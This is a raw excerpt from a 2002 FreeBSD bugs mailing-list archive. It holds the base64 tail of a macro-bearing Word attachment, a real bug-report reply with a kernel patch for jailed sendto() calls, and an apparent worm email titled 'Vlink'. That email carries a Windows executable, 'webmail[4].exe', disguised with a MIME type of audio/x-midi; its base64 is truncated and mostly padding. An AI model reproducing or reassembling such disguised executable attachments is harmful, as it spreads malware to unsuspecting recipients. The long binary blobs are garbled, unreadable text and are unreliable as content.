ZT4CGXMAdAAAZABvAGwAZVAADQBoACVeAAMqAFxHezAwMDIwsDQzMC0ACAQEQwAKAwIOARIwMDQ2 fSMAMi4wIzAjQzoAXFdJTkRPV1MAXFN5c3RlbTMAMlxTdGRPbGUAMi5UbGIjT0wARSBBdXRvbWGw dGlvbgBgAAIWAm4ATVNGb3Jtcz4EAA4ACU0AUwBGAQBGcgBtAHMALzQAfIAJcoABAUc4OQBCNDA1 MzEtNgAzNUQtMTFEMiAtQjg0QwBHQTAAQzlBMEUwMEMDGUcENC5UV0QjTQBpY3Jvc29mdIogAj4g AGIgT2IBsgAgTGlicmFyeeMAOgABMACMgAKBVwKIADkzN0JEMzUtKDEzRIJANoBAOTIBlUBURU1Q XFdvQHJkOC4wXIU+RQJYpz7hLkUNj+AAGhCFLgJgjE1EC7TBhBYAD0AkVIBlbXBsYXRlRIYYPgAe AQVAcG0AcAVAcmHAdGUAUAByFYBSakAFY8ADDgAghcAICcAAKlxDToBcBGFsCgPDp5o4AYIAw4dP ZmZpY8SHiE8AZkAAaQBjwBEoDQCQwA+GwhBHe0AyREY4RDBAYDUAQkZBLTEwMUKgLUJERTWBQ0HA hho0wAIyCGTAKmdyYQBtIEZpbGVzXAtHYAMbXIQBTVNPOWA3LkRMTMhogwYgi4BREmkPAssBABPC AQiIKBnCtVRoaXMARG9jdW1lbnSiGk4EMgAYQDFUwLuKaQCaRMBJYwB1AJ0oZQBuwEocwAYAAKpI QgExQtLjAN8eQgJFAQUsQhqKKCJCCCsFQgEQQgEAAAAAAAAAAAAAARYBAAC2AP//AQEAAAAA//// /wAAAAD///////8AADq9NwndE9YRuJIAoMmg4AwpvTcJ3RPWEbiSAKDJoOAMAAAAAAAAAAAAAAAA AAAAAAAAEAAAAAMAAAAFAAAABwAAAP//////////AQEIAAAA/////3gAAADeAAAAcwUAAAkCAAD/ ////AAAAAAEAAACIKIooAAD//6MAAACIAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA//8AAI8FAADWAAAA1gAAAOMFAAAAAP////8AAAAA3wD//wAAAAAMAP////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// UAAAAAIAUyL/////AAABAFMQ/////wAAAQBTIv////8AAAAAAjwQAP//AAAAAAI8FAD//wAAAAAC PBgA//8AAAAAAjwcAP//AAAAAAI8/////wAA//8BAQAAAAABADoAMQBUAGUAbQBwAGwAYQB0AGUA UAByAG8AagBlAGMAdAAuAFQAaABpAHMARABvAGMAdQBtAGUAbgB0AAAAAAAAAN8IAAAAMAAAAAEB 6AIAAAKB/v///////////ygAAAAAAP//AAAAAAAAAAD//////////wAAAAAdAAAAJAAAAGgBAACg AAAAKoAdAiAAAAA4AIQDMAAAAAMAAAA4AARAAAAAAP//////////AAAAAB0ADAAAAAAAKoAfAiAA AABAAJADYAAAAAMAAQBAAARAAQAAAP//////////uAkAAB0ADAAAAAAAKoAhAiAAAABIAJwDkAAA AAMAAgBIAARAAgAAAP//////////qAwAAGgBAAAQAAAA/////zgAAABoAAAAwAAAAAKD/v////// CAD//wABAAAAAP///////wAAAAD//////////yAAAAAdABAAJAAAAIKgEAL//////v///zABAAAC AP///v///wAAAAD//////////yAAAAAdABAAJAAAAAKD/v//////CAD//2ABAAAAAP///////wAA AAD//////////yAAAAAdABAAJAAAAP/////gAAAABgAAAP//////////gAAAAOACAADIAAAAKoAr AiAAAABcAMADgAEAAAMABwBcAARABwAAAP//////////AAABgB0ADAAAAAAAKoAtAiAAAABkAMwD sAEAAAMACABkAARACAAAAP//////////+AAAAB0ADAAAAAAAKoAvAiAAAABsANgD4AEAAAMACQBs AARACQAAAP//////////KAEAAOACAAA4AAAAuAEAAOgBAAD///////////////////////////// //84AAAAaAAAAJgAAADIAAAA+AAAACgBAAACg/7//////wgA//94AgAAAAD///////8AAAAA//// //////8EAAAAHQAQACQAAACCoBAC//////7///+oAgAAAgD///7///8AAAAA//////////8AAAAA HQAQACQAAAACg/7//////wgA///YAgAAAAD///////8AAAAA//////////8AAAAAHQAQACQAAAD/ ////GAEAAAAAAAAAAAEAAAAAAAAA////////////////AAAAAP////////////////////8AAAAA //////////8IAQAAOAEAAAAAAAAAAAAAWAAEAAAAAACoA4QD//////////////////////////// /wgABQD/////TUUAAP///////wAAAAD//wAAAAD//wEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7KAQAAAP////8BAQgAAAD/ ////eAAAAAGNsABBdHRyaWJ1dABlIFZCX05hbQBlID0gIlRoaQBzRG9jdW1lbhB0Ig0KCoxCYXMB AowxVGVtcGxhAHRlUHJvamVjBHQuGWhDcmVhdAhhYmwBckZhbHMCZQyoUHJlZGVjJGxhAAZJZACB VHICdQ0iRXhwb3NlgxQcBYtEZXJpdhUkAEN1c3RvbWl6AwSHA2MAAAAAAAAAAAAAAADMYV4AAAEA /wkEAAAJBAAA5AQBAAAAAAAAAAAAAQAGAAIAFgEqAFwARwB7ADAAMAAwADIAMAA0AEUARgAtADAA MAAwADAALQAwADAAMAAwAC0AQwAwADAAMAAtADAAMAAwADAAMAAwADAAMAAwADAANAA2AH0AIwAz AC4AMAAjADkAIwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwAQwBvAG0AbQBvAG4A IABGAGkAbABlAHMAXABNAGkAYwByAG8AcwBvAGYAdAAgAFMAaABhAHIAZQBkAFwAVgBCAEEAXABW AEIAQQAzADMAMgAuAGQAbABsACMAVgBpAHMAdQBhAGwAIABCAGEAcwBpAGMAIABGAG8AcgAgAEEA cABwAGwAaQBjAGEAdABpAG8AbgBzAAAAAAAAAAAAAAAAABABKgBcAEcAewAwADAAMAAyADAAOQAw ADUALQAwADAAMAAwAC0AMAAwADAAMAAtAEMAMAAwADAALQAwADAAMAAwADAAMAAwADAAMAAwADQA NgB9ACMAOAAuADAAIwA0ADAAOQAjAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABN AGkAYwByAG8AcwBvAGYAdAAgAE8AZgBmAGkAYwBlAFwATwBmAGYAaQBjAGUAXABNAFMAVwBPAFIA RAA4AC4ATwBMAEIAIwBNAGkAYwByAG8AcwBvAGYAdAAgAFcAbwByAGQAIAA4AC4AMAAgAE8AYgBq AGUAYwB0ACAATABpAGIAcgBhAHIAeQAAAAAAAAAAAAAAAAC8ACoAXABHAHsAMAAwADAAMgAwADQA MwAwAC0AMAAwADAAMAAtADAAMAAwADAALQBDADAAMAAwAC0AMAAwADAAMAAwADAAMAAwADAAMAA0 ADYAfQAjADIALgAwACMAMAAjAEMAOgBcAFcASQBOAEQATwBXAFMAXABTAHkAcwB0AGUAbQAzADIA XABTAHQAZABPAGwAZQAyAC4AVABsAGIAIwBPAEwARQAgAEEAdQB0AG8AbQBhAHQAaQBvAG4AAAAA AAAAAAAAAAAA5AAqAFwARwB7ADgAOQBCADQAMAA1ADMAMQAtADYAMwA1AEQALQAxADEARAAyAC0A QgA4ADQAQwAtADAAMABBADAAQwA5AEEAMABFADAAMABDAH0AIwAyAC4AMAAjADAAIwBDADoAXABX AEkATgBEAE8AVwBTAFwAUwB5AHMAdABlAG0AMwAyAFwATQBTAEYAbwByAG0AcwAuAFQAVwBEACMA TQBpAGMAcgBvAHMAbwBmAHQAIABGAG8AcgBtAHMAIAAyAC4AMAAgAE8AYgBqAGUAYwB0ACAATABp AGIAcgBhAHIAeQAAAAAAAAAAAAAAAQDcACoAXABHAHsAMAA5ADMANwBCAEQAMwA1AC0AMQAzAEQA RAAtADEAMQBEADYALQBCADgAOQAyAC0AMAAwAEEAMABDADkAQQAwAEUAMAAwAEMAfQAjADIALgAw ACMAMAAjAEMAOgBcAFQARQBNAFAAXABXAG8AcgBkADgALgAwAFwATQBTAEYAbwByAG0AcwAuAEUA WABEACMATQBpAGMAcgBvAHMAbwBmAHQAIABGAG8AcgBtAHMAIAAyAC4AMAAgAE8AYgBqAGUAYwB0 ACAATABpAGIAcgBhAHIAeQAAAAAAAAAAAAAAAgAAAOEuRQ2P4BoQhS4CYIxNC7QAABIAKgBcAEMA TgBvAHIAbQBhAGwAEgAqAFwAQwBOAG8AcgBtAGEAbADDp5o4AQAAAAAAAAAMASoAXABHAHsAMgBE AEYAOABEADAANABDAC0ANQBCAEYAQQAtADEAMAAxAEIALQBCAEQARQA1AC0AMAAwAEEAQQAwADAA NAA0AEQARQA1ADIAfQAjADIALgAwACMAMAAjAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABl AHMAXABNAGkAYwByAG8AcwBvAGYAdAAgAE8AZgBmAGkAYwBlAFwATwBmAGYAaQBjAGUAXABNAFMA TwA5ADcALgBEAEwATAAjAE0AaQBjAHIAbwBzAG8AZgB0ACAATwBmAGYAaQBjAGUAIAA4AC4AMAAg AE8AYgBqAGUAYwB0ACAATABpAGIAcgBhAHIAeQAAAAAAAAAAAAAAAAABAAIAAwAEAgAABgIBAAgC AAAYAv///////wAAAAD//wAATC1VPAIA//////////////////////////////////////////// //////////////8AAP///////////////////////wEAAAAAAAAAAAAAAAAAAAAAAAAAiCgBABgA VABoAGkAcwBEAG8AYwB1AG0AZQBuAHQACgAxNzNjNTUzZGQyAwAqRAERAv//iigAAAAAAAAAAgAA AOMFAAD///////8BASACAAD//////////////////////////wACAAD///////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// /////////////////////yi9NwndE9YRuJIAoMmg4Az/////AQAAAP////9gAAAAgAAAAAAAFwEY AP8AhCcAAAQEV29yZLVrEAADBFZCQffiEAAFBFdpbjE2wX4QAAUEV2luMzIHfxAAAwRNYWOzshAA KwRJbnZpdGF0aW9ubGV0dGVyX0NoaW5lc2VfZmluYWxfd2l0aCBoZWFkZXIyQ+IQAAYEc3Rkb2xl k2AQAAcATVNGb3Jtc0MPEAAMBFRoaXNEb2N1bWVudDyeEAAJgAAA/wMEAF9FdmFsdWF0ZRjZEAAP AFRlbXBsYXRlUHJvamVjdIFFEAAGhAgA/wMEAE9mZmljZRV1EAAHBFByb2plY3QtrhAACIQIAP8D AQBEb2N1bWVudGrTEAAJBEhUTUxUZXh0McpbEAAJBEhUTUxUZXh0MstbEAAJBEhUTUxUZXh0M8xb EAAJBEhUTUxUZXh0NM1bEAAJBEhUTUxUZXh0Nc5bEAAJBEhUTUxUZXh0Ns9bEAAJBEhUTUxUZXh0 N9BbEAAJBEhUTUxUZXh0ONFbEAAJBEhUTUxUZXh0OdJbEAAKBEhUTUxUZXh0MTAvQRAAAv//AQFg AAAAAAIBAP//AgIAAP//////////////////////////////////DAICAP//DgIDAP//EQIAAAgA ////////FAIEAP//FgIFAP//GAL/////////////////////////////CAAQAAAAAQASAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASUQ9InswOTM3QkQzQy0xM0RELTExRDYtQjg5 Mi0wMEEwQzlBMEUwMEN9Ig0KRG9jdW1lbnQ9VGhpc0RvY3VtZW50LyZIMDAwMDAwMDANCk5hbWU9 IlByb2plY3QiDQpIZWxwQ29udGV4dElEPSIwIg0KQ01HPSJGQ0ZFMzIzMEQyMjhENjI4RDYyOEQ2 MjhENiINCkRQQj0iRjhGQTM2QzkzN0M5MzdDOSINCkdDPSJGNEY2M0EzOENBMzVDQjM1Q0JDQSIN Cg0KW0hvc3QgRXh0ZW5kZXIgSW5mb10NCiZIMDAwMDAwMDE9ezM4MzJENjQwLUNGOTAtMTFDRi04 RTQzLTAwQTBDOTExMDA1QX07VkJFOyZIMDAwMDAwMDANCiZIMDAwMDAwMDI9ezAwMDIwOUYyLTAw MDAtMDAwMC1DMDAwLTAwMDAwMDAwMDA0Nn07V29yZDguMDsmSDAwMDAwMDAwDQoAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAQABAAAAGtESVcZczxGNZwCqAL3OHQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAFRoaXNEb2N1bWVudABUAGgAaQBzAEQAbwBjAHUAbQBlAG4A dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAP7/AwoAAP////8GCQIAAAAAAMAAAAAAAABG GAAAAE1pY3Jvc29mdCBXb3JkIERvY3VtZW50AAoAAABNU1dvcmREb2MAEAAAAFdvcmQuRG9jdW1l bnQuOAD0ObJxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAFAAUgBPAEoARQBDAFQAbABrAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAUAAIB/////w0AAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAWQAAAB4AAAAAAAAAUABSAE8ASgBFAEMAVAB3AG0AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAgD///////////////8AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABaAAAAKQAAAAAAAAABAEMAbwBtAHAATwBiAGoAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAf////8PAAAA//// /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFsAAABqAAAAAAAAAE8AYgBqAGUA YwB0AFAAbwBvAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW AAEA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAADw8Uz3kr/BAfDxTPeSv8EBAAAAAAAA AAAAAAAA ------=_NextPart_000_0028_01C1C236.D6894F30-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 7:50:39 2002 Delivered-To: freebsd-bugs@hub.freebsd.org Received: from freefall.freebsd.org (freefall.FreeBSD.org [216.136.204.21]) by hub.freebsd.org (Postfix) with ESMTP id 741C737B41B for ; Tue, 5 Mar 2002 07:50:02 -0800 (PST) Received: (from gnats@localhost) by freefall.freebsd.org (8.11.6/8.11.6) id g25Fo2X88094; Tue, 5 Mar 2002 07:50:02 -0800 (PST) (envelope-from gnats) Date: Tue, 5 Mar 2002 07:50:02 -0800 (PST) Message-Id: <200203051550.g25Fo2X88094@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.org Cc: From: Przemyslaw Frasunek Subject: Re: kern/26506: sendto() syscall returns EINVAL in jail environment Reply-To: Przemyslaw Frasunek Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org The following reply was made to PR kern/26506; it has been noted by GNATS. From: Przemyslaw Frasunek To: freebsd-gnats-submit@freebsd.org Cc: Subject: Re: kern/26506: sendto() syscall returns EINVAL in jail environment Date: Tue, 5 Mar 2002 16:46:39 +0100 This problem still persists on 4.5-STABLE. When patch from audit-trail (sent almost year ago) will be commited? This works for me on recent 4.5-STABLE: --- /disc1/jail2/home/venglin/in_pcb.c Tue Mar 5 16:36:17 2002 +++ in_pcb.c Tue Mar 5 16:24:35 2002 @@ -499,7 +499,7 @@ struct sockaddr_in *sin = (struct sockaddr_in *)nam; struct sockaddr_in sa; int error; - +/* if (inp->inp_laddr.s_addr == INADDR_ANY && p->p_prison != NULL) { bzero(&sa, sizeof (sa)); sa.sin_addr.s_addr = htonl(p->p_prison->pr_ip); @@ -509,6 +509,7 @@ if (error) return (error); } +*/ /* * Call inner routine, to assign local interface address. */ @@ -522,9 +523,16 @@ } if (inp->inp_laddr.s_addr == INADDR_ANY) { if (inp->inp_lport == 0) { - error = in_pcbbind(inp, (struct sockaddr *)0, p); */ @@ -522,9 +523,16 @@ } if (inp->inp_laddr.s_addr == INADDR_ANY) { if (inp->inp_lport == 0) { - error = in_pcbbind(inp, (struct sockaddr *)0, p); - if (error) - return (error); + if (p->p_prison ) { + bzero(&sa, sizeof (sa)); + sa.sin_addr.s_addr = htonl(p->p_prison->pr_ip); + sa.sin_len = sizeof (sa); + sa.sin_family = AF_INET; + error = in_pcbbind(inp, (struct sockaddr *)&sa, p); + } else + error = in_pcbbind(inp, (struct sockaddr *)0, p); + if (error) + return (error); } inp->inp_laddr = ifaddr->sin_addr; } -- * Fido: 2:480/124 ** WWW: http://www.frasunek.com/ ** NIC-HDL: PMF9-RIPE * * Inet: przemyslaw@frasunek.com ** PGP: D48684904685DF43EA93AFA13BE170BF * To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Tue Mar 5 8:59:38 2002 Delivered-To: freebsd-bugs@freebsd.org Received: from traven.uol.com.br (traven.uol.com.br [200.231.206.184]) by hub.freebsd.org (Postfix) with ESMTP id 77A0037B405 for ; Tue, 5 Mar 2002 08:58:30 -0800 (PST) Received: from Tcxhybcy ([200.181.89.39]) by traven.uol.com.br (8.9.1/8.9.1) with SMTP id NAA21328 for ; Tue, 5 Mar 2002 13:48:08 -0300 (BRT) Date: Tue, 5 Mar 2002 13:48:08 -0300 (BRT) Message-Id: <200203051648.NAA21328@traven.uol.com.br> From: chaerubim To: freebsd-bugs@FreeBSD.ORG Subject: Vlink MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=Jj6Y512xc3Bw31N1X2H95AJ5Ho3cr6s1jX Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org --Jj6Y512xc3Bw31N1X2H95AJ5Ho3cr6s1jX Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --Jj6Y512xc3Bw31N1X2H95AJ5Ho3cr6s1jX Content-Type: audio/x-midi; name=webmail[4].exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAACYl33g3PYTs9z2E7Pc9hOzp+ofs9j2E7Nf6h2zz/YTszTp GbPm9hOzvukAs9X2E7Pc9hKzq/YTszTpGLPO9hOzZPAVs932E7NSaWNo3PYTswAAAAAAAAAA UEUAAEwBBABcmkI8AAAAAAAAAADgAA8BCwEGAADAAAAAgAgAAAAAAHiAAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAUAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAY1gAAZAAAAABACQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOQBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAGq2AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAADqDwAAANAAAAAQAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAA7FMIAADgAAAAQAAAAOAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAQAkAEAAAAAAgAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF 